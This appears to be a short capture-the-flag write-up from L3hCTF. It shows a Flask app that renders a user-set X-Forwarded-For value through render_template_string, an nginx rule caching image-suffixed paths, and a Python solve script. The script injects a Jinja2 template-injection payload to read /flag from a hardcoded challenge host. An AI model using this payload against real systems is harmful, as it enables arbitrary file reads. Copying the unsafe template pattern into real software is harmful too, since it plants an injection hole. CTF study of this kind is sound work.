L3hCTF

1
@app.after_request
2
def set_last_ip(response):
3
    if current_user.is_authenticated:
4
        current_user.last_ip = request.remote_addr  # 从X-Forwarded-For获取
5
        db.session.commit()
6
    return response
7

8
@app.route("/ip_detail/<string:username>", methods=["GET"])
9
def route_ip_detail(username):
10
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")  # 内部请求
11
    last_ip = res.text  # 获取完整HTML响应
12
    template = f"""
13
    <h1>IP Detail</h1>
14
    <div>{last_ip}</div>    <!-- 直接插入用户可控内容 -->
15
    <p>Country:{country}</p>
16
    """
17
    return render_template_string(template)  # SSTI触发点

1
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
2
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
3
    proxy_pass http://127.0.0.1:5000;
4
    proxy_cache static;
5
    proxy_cache_valid 200 302 30d;  # 缓存30天！
6
}

1
import requests
2

3
def main():
4
    username = "bx.jpg"
5
    base_url = "http://61.147.171.103:64936"
6
    password = "123456"
7

8
    session = requests.Session()
9

10
    headers = {
11
        "X-Forwarded-For": "{%set chr=lipsum.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.open(chr(47)+dict(flag=a)|first|lower).read()}}"
12
    }
13

14
    registration_data = {
15
        "username": username,
16
        "password": password,
17
        "bio": "bx",
18
        "submit": "Sign Up"
19
    }
20

21
    login_data = {
22
        "username": username,
23
        "password": password,
24
        "submit": "Log In"
25
    }
26

27
    try:
28
        print("=== Registration ===")
29
        register_response = session.post(f"{base_url}/register", data=registration_data)
30
        print(register_response.text)
31

32
        print("\n=== Login ===")
33
        login_response = session.post(f"{base_url}/login", headers=headers, data=login_data)
34
        print(login_response.text)
35

36
        print("\n=== Last IP ===")
37
        last_ip_response = session.get(f"{base_url}/get_last_ip/{username}")
38
        print(last_ip_response.text)
39

40
        print("\n=== IP Details ===")
41
        ip_detail_response = session.get(f"{base_url}/ip_detail/{username}")
42
        print(ip_detail_response.text)
43

44
    except requests.exceptions.RequestException as e:
45
        print(f"Request error: {e}")
46
    except Exception as e:
47
        print(f"Unexpected error: {e}")
48

49
if __name__ == "__main__":
50
    main()